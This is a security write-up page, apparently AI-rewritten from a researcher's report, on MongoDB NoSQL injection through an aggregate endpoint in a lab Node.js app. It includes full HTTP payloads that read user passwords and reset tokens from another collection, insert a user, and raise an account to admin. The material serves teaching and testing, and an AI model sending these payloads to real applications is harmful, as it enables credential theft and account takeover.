Skip to content
SQL injection Write-up Intermediate

MongoDB NoSQL Injection with Aggregation Pipelines

A Node.js application passed user-supplied JSON directly to MongoDB's aggregate method, allowing NoSQL injection. An attacker could use aggregation operators to read, insert, or update documents in other collections, including user credentials.

Soroush Dalili Follow

Published on soroush.me

Last August (2023), while assisting with the NoSQL lab module for PortSwigger Web Academy, I discovered that, in rare cases, it is possible to access other collections when performing an injection attack in MongoDB. This wasn’t included in the training material due to its rarity and seemed more suited for a research…

Soroush Dalili (@irsdl), on soroush.me

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

MongoDB NoSQL injection is usually discussed in the context of the find method. When the injection point sits inside a find, the data an attacker can reach is limited to the collection that the query is defined against, and that collection may hold nothing sensitive. This is one reason some clients do not treat a MongoDB NoSQL injection as valuable.

This write-up looks at a different case: an exposed aggregate function that is vulnerable to NoSQL injection. In MongoDB, collections are the equivalent of SQL tables, and documents are the equivalent of rows. When the injection lands in an aggregate, the impact can grow beyond the original collection, allowing an attacker to:

  • read data from other collections;
  • add data;
  • update data.

The findings came out of work on the NoSQL lab module for PortSwigger Web Academy in August 2023. The behaviour was rare enough that it was not included in the training material, and it seemed better suited to a research topic.

Setup

A test case was built in a VM to practise the technique, published at https://github.com/irsdl/vulnerable-node-app/. It is a modified version of a repository by Charlie Belmer, adapted to try different cases of NoSQL injection attacks.

The scenario assumes a NoSQL injection where users cannot control the collection name through input parameters, but can control an aggregate. The vulnerable Node.js route is:

JavaScript
productRoutes.route('/lookup_agg').post(function(req, res) {
	let query = req.body;
  	if (typeof query !== 'undefined' && Object.keys(query).length > 0) {
		console.log("request " + JSON.stringify(query));
		console.log("MongoDB query: " + JSON.stringify(query));
		Product.aggregate(query)
		    .then(products => {
		        console.log("Data Retrieved: " + products);
		        res.json({products});
		    })
		    .catch(err => {
		        console.log(err);
		        res.json(err);
		    });
  	} else {
		res.json({});
	}
});

The request body is passed straight to Product.aggregate(query).

Finding it

A normal request to the endpoint shows the shape of the interaction. The body is a JSON array of aggregation stages, and the response returns the matching documents from the products collection:

HTTP
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 53

[
  {
    "$match": {"name": "Apple Juice"}
  }
]

Response body:

JSON
{"products":[{"_id":"66773d7c85bf15c9d920fe9d","name":"Apple Juice","category":"soft","released":true,"quantity":"30","__v":0}]}

Because the vulnerability occurs in the products collection, simply returning all fields is not worth much. Sending an empty $match returns every product, but nothing more sensitive:

HTTP
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 32

[
  {
    "$match": {}
  }
]

Response body:

JSON
{"products":[{"_id":"66773d7c85bf15c9d920fe9d","name":"Apple Juice","category":"soft","released":true,"quantity":"30","__v":0},{"_id":"66773d7c85bf15c9d920fe9e","name":"Orange Juice","category":"soft","released":true,"quantity":"100","__v":0},{"_id":"66773d7c85bf15c9d920fe9f","name":"Coke","category":"fizzy","released":true,"quantity":"50","__v":0},{"_id":"66773d7c85bf15c9d920fea0","name":"Golden Bear","category":"alcohol","released":false,"quantity":"1","__v":0}]}

Identifying an aggregate in black-box testing

In MongoDB, the aggregate method always expects an array of aggregation stages as its first argument. Look for JSON arrays as a parameter. The $match and $lookup operators in a JSON request can also indicate that the aggregate method is in use.

Exploitation

Step 1: Reading another collection with $lookup and a dummy field

$lookup can reach other collections. The following request accesses the users collection:

HTTP
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 200

[
  {
    "$lookup": {
      "from": "users",
      "localField": "Dummy-IdontExist",
      "foreignField": "Dummy-IdontExist",
      "as": "user_docs"
    }
  },
  {
    "$limit": 1
  }
]

$lookup performs a left outer join to another collection, and $limit restricts the number of documents. The limit avoids repeating all users once per product: the goal is to get all users once.

Response body snippet:

If dummy fields are not ideal, the __v field can be used instead. It is created automatically by Mongoose, an Object Data Modelling (ODM) library for MongoDB and Node.js, and stores the document version for internal purposes, particularly for handling document updates and preventing concurrent modifications.

Step 2: Reading another collection with $unionWith

$unionWith combines the results of separate queries into one array, similar to union all in a traditional SQL database. It can be used to get users' data:

HTTP
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 229

[{
    "$match": {"foo":"bar"}
  },
  {
    "$unionWith": {
      "coll": "users",
      "pipeline": [
        {
          "$addFields": {
            "collection": "users"
          }
        }
      ]
    }
  }
]

$match is used with dummy data because the products' fields are not of interest. If dummy data is not ideal, the following can be used instead:

JSON
{
    "$match":{"_id":{"$exists":false}}
}

Step 3: Adding data

Injection via aggregates can also create new documents or collections, or rewrite existing ones. Testers still need to guess the data schema and some of its values before adding any data.

The following request adds a new user to the database:

HTTP
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 434

[
  {
    "$limit": 1
  },
  {
    "$replaceWith": {
      "username": "newUser",
      "first_name": "New",
      "last_name": "User",
      "email": "[redacted]",
      "role": "user",
      "password": "password123",
      "locked": false,
      "resetPasswordToken": ""
    }
  },
  {
    "$merge": {
      "into": "users",
      "whenMatched": "merge",
      "whenNotMatched": "insert"
    }
  }
]

This can then be verified by getting a list of users from the users collection. The limit must be used as shown to prevent adding multiple documents to the database.

Step 4: Updating data with $replaceWith

To modify data with $replaceWith, the _id field of the target document is needed. The following request modifies a user's data in the lab:

HTTP
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 379

[
  {
    "$limit": 1
  },
  {
    "$replaceWith": {
      "_id": { "$toObjectId": "66773d7c85bf15c9d920fe97" },
      "role":"admin",
      "password": "NewPassword123?",
      "locked": false,
      "resetPasswordToken": "1234567890"
    }
  },
  {
    "$merge": {
      "into": "users",
      "whenMatched": "merge",
      "whenNotMatched": "fail"
    }
  }
]

The _id field can be obtained by sending the following JSON request:

JSON
[
   {
     "$unionWith": {
       "coll": "users"
     }
   },
   {
     "$match": { "username": "carlos" }
   },
   {
     "$project": {
       "_id": 1
     }
   }
]

Step 5: Updating data without the _id

If the _id field is not available, modification is still possible:

HTTP
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 421

[
  {
    "$unionWith": {
      "coll": "users"
    }
  },
  {
    "$match": { "username": "carlos" }
  },
  {
    "$set": {
      "role": "admin",
      "password": "NewPassword123! ",
      "locked": false,
      "resetPasswordToken": "1234567890"
    }
  },
  {
    "$merge": {
      "into": "users",
      "on": "_id",
      "whenMatched": "merge",
      "whenNotMatched": "fail"
    }
  }
]

This approach uses $unionWith to include documents from the users collection, matches the specific user document by username, updates the fields, and finally merges the updated document back into the users collection. If multiple fields are matched, they will all be updated, which might corrupt the data. Avoid using regular expressions or a matching rule that might select more than one document in a collection.

Root cause

The route passes the entire request body to Product.aggregate(query). The application fixes the collection (Product) but not the pipeline, so the caller controls every stage of the aggregation. Aggregation stages such as $lookup, $unionWith, $replaceWith, $set and $merge operate across collections, which is why the usual assumption that a NoSQL injection is confined to one collection does not hold here.

Impact

When an aggregate is exposed and vulnerable to NoSQL injection, an attacker can read data from other collections, add data, and update data. The requests in the report read the users collection, insert a new user, and change an existing user's role, password and lock state. Adding data requires guessing the schema and some values. Updating with $replaceWith requires the target document's _id, though the $unionWith plus $match plus $set variant does not. A matching rule that selects more than one document will update all of them and may corrupt data.

Fix

The report does not describe a fix.

Variants to test

  • Look for JSON arrays as a parameter, and for $match or $lookup in a JSON request, as signs that an aggregate is exposed.
  • Try $lookup with a dummy localField and foreignField plus $limit: 1 to pull another collection into the response.
  • Try $unionWith with a dummy $match (or {"_id":{"$exists":false}}) to merge another collection into the result set.
  • Try $replaceWith followed by $merge with whenNotMatched: "insert" and $limit: 1 to add a document, then verify by getting a list of users from the users collection.
  • Try $unionWith, $match on a known field, $set and $merge with on: "_id" to update a document without knowing its _id.
  • The $function and $accumulator operators in the Aggregation Framework can run JavaScript and may be useful in certain cases.
  • Little research exists on methods such as updateMany or updateOne when exposed and abused through NoSQL injection.

No method to delete a document from a collection using aggregate was found.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

What happened, in plain words

In August 2023, while helping to build the NoSQL lab module for PortSwigger Web Academy, I found that in rare cases a MongoDB injection attack can reach collections other than the one the application was meant to serve. The behaviour was rare enough that it did not go into the training material, and it looked more like a research topic. I have been busy since then and have not explored it further, but publishing the findings may still help other security researchers.

Before going further, a few words for readers who are new to all of this.

A database is a program that stores data in an organised way, like a very large, very fast filing cabinet. An application (a website, a mobile app) talks to the database to save and fetch things: your account, your orders, your messages.

MongoDB is one popular kind of database. Instead of tables with rows and columns, it stores collections of documents. A collection is like a folder, and a document is like a single sheet of paper inside it, written in a format called JSON (text with curly braces, field names and values). If you know traditional SQL databases, think of a collection as a table and a document as a row.

An API is the part of a website that a program (or a browser) talks to in order to get or change data. When you click a button and the page updates without reloading, your browser is usually sending a request to an API behind the scenes. Requests carry a body, which is the data being sent, often in JSON.

NoSQL injection is a class of bug where an attacker slips extra instructions into data that the application passes to a NoSQL database. The database then does things the developer did not intend, such as returning records the attacker should not see. It is the MongoDB cousin of the better-known SQL injection.

When a MongoDB NoSQL injection happens, how much data the attacker can reach depends on where the bug is and which collection is being used. If the injection happens in the find method (the usual way to look up documents), access is limited to the collection the query was defined against, and that collection may hold nothing sensitive. That is why some clients do not consider a MongoDB NoSQL injection valuable.

This post looks at a different case: an exposed aggregate function that is vulnerable to NoSQL injection. aggregate is MongoDB's tool for running a pipeline, a sequence of processing steps applied to documents. When the injection lands in an aggregate, the impact can grow beyond the original collection, allowing an attacker to:

  • read data from other collections;
  • add data;
  • update data.

Background

If NoSQL injection is new to you, I recommend studying it through PortSwigger's Web Academy (https://portswigger.net/web-security/nosql-injection) to understand the topic better.

Here is a brief introduction to the problem we are tackling. When a MongoDB NoSQL injection occurs, the data the user can access depends on where the vulnerability is and which collection is being used. For those familiar with traditional SQL databases, think of collections in MongoDB as tables, and documents as rows. If the injection happens in the find method, data access is limited to the defined collection, which may not contain any sensitive data. This is why some clients might not consider a MongoDB NoSQL injection attack valuable.

This post explores a scenario where the aggregate function in MongoDB is exposed and vulnerable to NoSQL injection attacks, increasing the impact by allowing:

  • Reading data from other collections
  • Adding data
  • Updating data

Setup

A test case has been created to practise this in a VM (a virtual machine: a computer simulated inside your own computer, so you can break things safely), available at https://github.com/irsdl/vulnerable-node-app/. This is a modified version of a repository by Charlie Belmer to try different cases of NoSQL injection attacks.

Imagine a NoSQL injection attack where users cannot control the collection name via input parameters but can control an aggregate. Here is a vulnerable Node.js code example. Node.js is a way of running JavaScript on a server rather than in a browser; the code below is the server-side handler for one web address.

https://github.com/irsdl/vulnerable-node-app/blob/master/app/routes/product.route.js#L206

JavaScript
productRoutes.route('/lookup_agg').post(function(req, res) {
	let query = req.body;
  	if (typeof query !== 'undefined' && Object.keys(query).length > 0) {
		console.log("request " + JSON.stringify(query));
		console.log("MongoDB query: " + JSON.stringify(query));
		Product.aggregate(query)
		    .then(products => {
		        console.log("Data Retrieved: " + products);
		        res.json({products});
		    })
		    .catch(err => {
		        console.log(err);
		        res.json(err);
		    });
  	} else {
		res.json({});
	}
});

Line by line:

  1. productRoutes.route('/lookup_agg').post(...) registers a handler for HTTP POST requests to the address /lookup_agg. A POST request is the kind a browser sends when it submits a form or a page sends data to be saved.
  2. let query = req.body; takes the body of the incoming request, the data the caller sent, and stores it in a variable called query.
  3. if (typeof query !== 'undefined' && Object.keys(query).length > 0) checks that the body exists and is not empty. If it is empty, the code jumps to the else at the bottom and replies with an empty JSON object {}.
  4. The two console.log lines write the request and the query to the server's log, for debugging.
  5. Product.aggregate(query) is the important line: the whole request body is handed to MongoDB's aggregate as the pipeline. Product is the collection the application intends to query, but the pipeline itself comes from the caller.
  6. .then(products => { ... }) runs when the database answers successfully: it logs the data and sends it back to the caller as JSON under the key products.
  7. .catch(err => { ... }) runs if something goes wrong: it logs the error and sends the error back as JSON.

The request body is passed straight to Product.aggregate(query), so the caller controls the whole aggregation pipeline, not just a value inside a filter.

Finding it

A normal request to the endpoint shows the shape of the interaction. The body is a JSON array of aggregation stages, and the response returns the matching documents from the products collection:

HTTP
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 53

[
  {
    "$match": {"name": "Apple Juice"}
  }
]

Line by line:

  1. POST /product/lookup_agg HTTP/1.1 is the request line: the method (POST), the path on the server, and the HTTP version.
  2. Host: vulnerable.lab:4000 says which server and port the request is for. vulnerable.lab is the lab machine's name and 4000 is the port, the numbered door the application listens on.
  3. Content-Type: application/json tells the server the body is JSON, so it should be parsed as such.
  4. Content-Length: 53 is the size of the body in bytes.
  5. The blank line separates the headers from the body.
  6. The body is a JSON array (square brackets) containing one stage, $match, which filters documents by a condition. Here the condition is "name": "Apple Juice", so only documents whose name is Apple Juice should come back.

Response body:

JSON
{"products":[{"_id":"66773d7c85bf15c9d920fe9d","name":"Apple Juice","category":"soft","released":true,"quantity":"30","__v":0}]}

The response is a JSON object with one key, products, holding an array with one document. _id is the document's unique identifier, name, category, released and quantity are the product's fields, and __v is a version number added automatically by Mongoose (explained below).

In this case, the vulnerability occurs in the products collection. Therefore, the following request to return all fields won't result in much value:

HTTP
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 32

[
  {
    "$match": {}
  }
]

Line by line:

  1. Same request line, host and content type as before.
  2. Content-Length: 32 is the size of this shorter body.
  3. The body is again an array with one $match stage, but the condition is an empty object {}. An empty condition matches every document, so this asks for everything in the collection.

Response body:

JSON
{"products":[{"_id":"66773d7c85bf15c9d920fe9d","name":"Apple Juice","category":"soft","released":true,"quantity":"30","__v":0},{"_id":"66773d7c85bf15c9d920fe9e","name":"Orange Juice","category":"soft","released":true,"quantity":"100","__v":0},{"_id":"66773d7c85bf15c9d920fe9f","name":"Coke","category":"fizzy","released":true,"quantity":"50","__v":0},{"_id":"66773d7c85bf15c9d920fea0","name":"Golden Bear","category":"alcohol","released":false,"quantity":"1","__v":0}]}

The response now contains four products: Apple Juice, Orange Juice, Coke and Golden Bear. That is the whole products collection, and none of it is sensitive. This is the point: an injection that only reaches the collection the endpoint was built for is not worth much.

Identifying an aggregate in black-box testing

Black-box testing means testing an application without seeing its code, the way an outside attacker would. In MongoDB, the aggregate method always expects an array of aggregation stages as its first argument. Therefore, look for JSON arrays as a parameter. The $match and $lookup operators in a JSON request can also indicate the use of the aggregate method. $lookup is a stage that pulls documents from another collection, which is exactly what we want to abuse.

Exploitation

Step 1: Reading another collection with $lookup and a dummy field

It's possible to use $lookup to access other collections. The following HTTP request shows how the users collection could be accessed using this:

HTTP
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 200

[
  {
    "$lookup": {
      "from": "users",
      "localField": "Dummy-IdontExist",
      "foreignField": "Dummy-IdontExist",
      "as": "user_docs"
    }
  },
  {
    "$limit": 1
  }
]

Line by line:

  1. The request line, host and content type are the same as before; Content-Length: 200 is the size of this body.
  2. The body is an array of two stages.
  3. The first stage is $lookup, which performs a left outer join to another collection. A join is a database operation that combines documents from two collections based on a field they share, like matching customers to their orders by customer number.
  4. "from": "users" names the collection to join with: the users collection, which the endpoint was never meant to expose.
  5. "localField" and "foreignField" are the fields used to match documents between the two collections. Here both are set to Dummy-IdontExist, a field name that does not exist anywhere. We are not interested in the join logic, only in getting the users out.
  6. "as": "user_docs" is the name of the new field that will hold the joined users inside each product document.
  7. The second stage is $limit: 1, which restricts the number of documents to one. The limit was used to avoid repeating all users per product. We only want all users once!

Response body snippet was:

The response is one product document (Apple Juice) with an extra field, user_docs, holding the users. Each user document has a username, name, email, role, password, a locked flag and a resetPasswordToken. A token here is a short secret string used by the application, for example to let someone reset a password; if an attacker reads it, they may be able to use it. The snippet shows the guest user and the user carlos, with their password and reset token fields visible. The response contains data from a different collection through an endpoint that was only supposed to serve products.

If dummy fields are not ideal, we can use the __v field, which is automatically created by Mongoose, an Object Data Modelling (ODM) library for MongoDB and Node.js. An ODM is a helper library that lets a program work with database documents as if they were ordinary programming objects, and it adds some bookkeeping fields on its own. This field is used to store the version of the document for internal purposes, particularly for handling document updates and preventing concurrent modifications. The __v field can be used as the localField and foreignField instead of a made-up name.

Step 2: Reading another collection with $unionWith

$unionWith combines the results of separate queries into one array, similar to union all in a traditional SQL database. We can use it to get users' data like this:

HTTP
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 229

[{
    "$match": {"foo":"bar"}
  },
  {
    "$unionWith": {
      "coll": "users",
      "pipeline": [
        {
          "$addFields": {
            "collection": "users"
          }
        }
      ]
    }
  }
]

Line by line:

  1. The request line, host and content type are unchanged; Content-Length: 229 is the body size.
  2. The body is an array of two stages.
  3. The first stage is $match with {"foo":"bar"}. $match was used with dummy data as we are not interested in seeing the products' fields!
  4. The second stage is $unionWith, which appends the results of another query to the current results.
  5. "coll": "users" names the collection to pull in: the users collection.
  6. "pipeline" is an optional list of stages to apply to that other collection before merging. Here it contains one stage, $addFields, which adds a new field to each document.
  7. "collection": "users" is the field being added, with the value users, so each returned user document is labelled with where it came from.

If using dummy data is not ideal, the following can be used instead:

JSON
{
    "$match":{"_id":{"$exists":false}}
}

Line by line:

  1. This is a single $match stage.
  2. The condition is "_id": {"$exists": false}, which matches documents that have no _id field. This can be used instead of the dummy foo/bar condition.

Step 3: Adding data

Injection via aggregates can also be used to create new documents or collections, or to rewrite existing ones. However, testers will still need to guess the data schema and some of their values before adding any data. A schema is the list of fields a document is expected to have and what type each one is; if you get it wrong, the new document may be useless to the application.

The following HTTP request shows an example of how a new user could be added to the database:

HTTP
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 434

[
  {
    "$limit": 1
  },
  {
    "$replaceWith": {
      "username": "newUser",
      "first_name": "New",
      "last_name": "User",
      "email": "[redacted]",
      "role": "user",
      "password": "password123",
      "locked": false,
      "resetPasswordToken": ""
    }
  },
  {
    "$merge": {
      "into": "users",
      "whenMatched": "merge",
      "whenNotMatched": "insert"
    }
  }
]

Line by line:

  1. The request line, host and content type are unchanged; Content-Length: 434 is the body size.
  2. The body is an array of three stages.
  3. $limit: 1 keeps only one document from the products collection, so the next stage runs once.
  4. $replaceWith throws away the current document and replaces it with the object given. That object is a complete user record: username newUser, first name New, last name User, an email, role user, password password123, locked false and an empty reset token.
  5. $merge writes the result into a collection. "into": "users" names the target: the users collection.
  6. "whenMatched": "merge" says what to do if a document with the same _id already exists: merge the fields. "whenNotMatched": "insert" says what to do if no such document exists: insert a new one. With whenNotMatched: "insert", a new user is inserted.

This can then be verified by getting a list of users from the users collection, for example with the $lookup or $unionWith requests above.

Note: Ensure that the limit is used as shown above to prevent adding multiple documents to the database! Ensure that the limit is used as shown above to prevent adding multiple documents to the database.

Step 4: Updating data with $replaceWith

The aggregate method in MongoDB also allows changing data in different collections.

To modify data with $replaceWith, the _id field of the target document is needed. The following HTTP request shows how a user's data could be modified in the designed lab:

HTTP
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 379

[
  {
    "$limit": 1
  },
  {
    "$replaceWith": {
      "_id": { "$toObjectId": "66773d7c85bf15c9d920fe97" },
      "role":"admin",
      "password": "NewPassword123?",
      "locked": false,
      "resetPasswordToken": "1234567890"
    }
  },
  {
    "$merge": {
      "into": "users",
      "whenMatched": "merge",
      "whenNotMatched": "fail"
    }
  }
]

Line by line:

  1. The request line, host and content type are unchanged; Content-Length: 379 is the body size.
  2. The body is an array of three stages.
  3. $limit: 1 keeps one document so the replacement happens once.
  4. $replaceWith replaces the document with a new object. The _id field is set to { "$toObjectId": "66773d7c85bf15c9d920fe97" }: $toObjectId converts the string into the special identifier type MongoDB uses, so it matches the existing document. The other fields set the role to admin, a new password, locked false and a reset token.
  5. $merge writes the result into users. "whenMatched": "merge" merges into the existing document with that _id. "whenNotMatched": "fail" makes the operation fail if no such document exists, so this request cannot accidentally create a new user.

The _id field could be obtained by sending the following JSON request:

JSON
[
   {
     "$unionWith": {
       "coll": "users"
     }
   },
   {
     "$match": { "username": "carlos" }
   },
   {
     "$project": {
       "_id": 1
     }
   }
]

Line by line:

  1. The body is an array of three stages.
  2. $unionWith with "coll": "users" pulls in the users collection.
  3. $match with {"username": "carlos"} keeps only the document whose username is carlos.
  4. $project with {"_id": 1} keeps only the _id field in the output. $project is a stage that chooses which fields to include or exclude, like ticking columns in a spreadsheet.

Step 5: Updating data without the _id

However, if we do not have the _id field, modification is still possible using the following HTTP request as an example:

HTTP
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 421

[
  {
    "$unionWith": {
      "coll": "users"
    }
  },
  {
    "$match": { "username": "carlos" }
  },
  {
    "$set": {
      "role": "admin",
      "password": "NewPassword123! ",
      "locked": false,
      "resetPasswordToken": "1234567890"
    }
  },
  {
    "$merge": {
      "into": "users",
      "on": "_id",
      "whenMatched": "merge",
      "whenNotMatched": "fail"
    }
  }
]

Line by line:

  1. The request line, host and content type are unchanged; Content-Length: 421 is the body size.
  2. The body is an array of four stages.
  3. $match with {"username": "carlos"} keeps only carlos's document.
  4. $set changes the listed fields on the document: role to admin, a new password, locked false and a reset token. $set changes the listed fields on the document.
  5. $merge writes the result into users. "on": "_id" says to compare documents by their _id field. "whenMatched": "merge" merges into the existing document, and "whenNotMatched": "fail" stops the operation if no match is found.

This approach uses $unionWith to include documents from the users collection, matches the specific user document by username, updates the fields, and finally merges the updated document back into the users collection. It's crucial to mention that if multiple fields are matched, they will all be updated, which might corrupt the data. Therefore, avoid using Regular Expressions or a matching rule that might select more than one document in a collection. A regular expression is a pattern for matching text, and a loose pattern can match many documents at once.

Root cause

The route passes the entire request body to Product.aggregate(query). The application fixes the collection (Product) but not the pipeline, so the caller controls every stage of the aggregation. Aggregation stages such as $lookup, $unionWith, $replaceWith, $set and $merge operate across collections, which is why the usual assumption that a NoSQL injection is confined to one collection does not hold here. The report does not describe any validation or allow-list between the request body and the aggregate call. An allow-list is a list of things that are explicitly permitted, with everything else rejected.

Impact

When an aggregate is exposed and vulnerable to NoSQL injection, an attacker can read data from other collections, add data, and update data. In the lab this meant reading the users collection, including password and resetPasswordToken fields, inserting a new user, and changing an existing user's role, password and lock state. Adding data requires guessing the schema and some values. Updating with $replaceWith requires the target document's _id, though the $unionWith plus $match plus $set variant does not. A matching rule that selects more than one document will update all of them and may corrupt data.

Fix

The report does not describe a fix. The implied requirement is that user input must not be passed as a whole aggregation pipeline to aggregate; the stages and operators a caller may use need to be constrained rather than taken from the request body.

Variants to test

  • Look for JSON arrays as a parameter, and for $match or $lookup in a JSON request, as signs that an aggregate is exposed.
  • Try $lookup with a dummy localField and foreignField plus $limit: 1 to pull another collection into the response. A positive result is documents from a collection other than the one the endpoint is meant to serve.
  • Try $unionWith with a dummy $match (or {"_id":{"$exists":false}}) to merge another collection into the result set.
  • Try $replaceWith followed by $merge with whenNotMatched: "insert" and $limit: 1 to add a document. Verify by reading the target collection back.
  • Try $unionWith, $match on a known field, $set and $merge with on: "_id" to update a document without knowing its _id.
  • The $function and $accumulator operators in the Aggregation Framework can run JavaScript and may be useful in certain cases.
  • Other MongoDB methods exposed by mistake, such as updateMany or updateOne, are worth testing for NoSQL injection when documents are updated.

No method to delete a document from a collection using aggregate was found. It would be interesting if someone could figure out how to delete Carlos!

Glossary

  • API: the part of an application that programs and browsers talk to in order to read or change data.
  • Aggregate / aggregation pipeline: MongoDB's way of running a sequence of processing stages over documents.
  • Allow-list: a list of things explicitly permitted, with everything else rejected.
  • Black-box testing: testing an application without seeing its source code.
  • Collection: a group of documents in MongoDB, roughly a table in SQL.
  • Content-Length: an HTTP header giving the size of the request body in bytes.
  • Content-Type: an HTTP header saying what format the body is in, such as JSON.
  • Document: a single record in MongoDB, roughly a row in SQL, written as JSON-like data.
  • find: the usual MongoDB method for looking up documents in one collection.
  • Host: the server name and port a request is addressed to.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • JSON: a text format for structured data using braces, brackets, field names and values.
  • Join: a database operation that combines documents from two collections based on a shared field.
  • Mongoose: an Object Data Modelling library for MongoDB and Node.js that adds bookkeeping fields such as __v.
  • Node.js: a way of running JavaScript on a server.
  • NoSQL injection: slipping extra database instructions into data an application passes to a NoSQL database.
  • ODM (Object Data Modelling): a library that lets a program treat database documents as programming objects.
  • Pipeline: the ordered list of stages an aggregate runs.
  • Port: the numbered door on a server that an application listens on.
  • POST: an HTTP method used to send data to a server.
  • Regular expression: a pattern for matching text, which can match many documents if written loosely.
  • Schema: the expected fields and types of a document.
  • SQL: the traditional language for relational databases, with tables and rows.
  • Token: a short secret string used by an application, for example for password resets.
  • VM (virtual machine): a computer simulated inside another computer, used for safe testing.
  • $lookup: an aggregation stage that joins documents from another collection.
  • $unionWith: an aggregation stage that appends the results of another query, like SQL union all.
  • $match: an aggregation stage that filters documents by a condition.
  • $limit: an aggregation stage that keeps only a given number of documents.
  • $replaceWith: an aggregation stage that replaces a document with a new object.
  • $set: an aggregation stage that changes or adds fields on a document.
  • $merge: an aggregation stage that writes results into a collection, merging or inserting as configured.
  • $project: an aggregation stage that chooses which fields to include or exclude.
  • $addFields: an aggregation stage that adds new fields to documents.
  • $toObjectId: an expression that converts a string into MongoDB's identifier type.
  • $exists: a query operator that checks whether a field is present.
  • _id: the unique identifier of a MongoDB document.
  • __v: a version field added automatically by Mongoose.

More by Soroush Dalili

View all

6 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.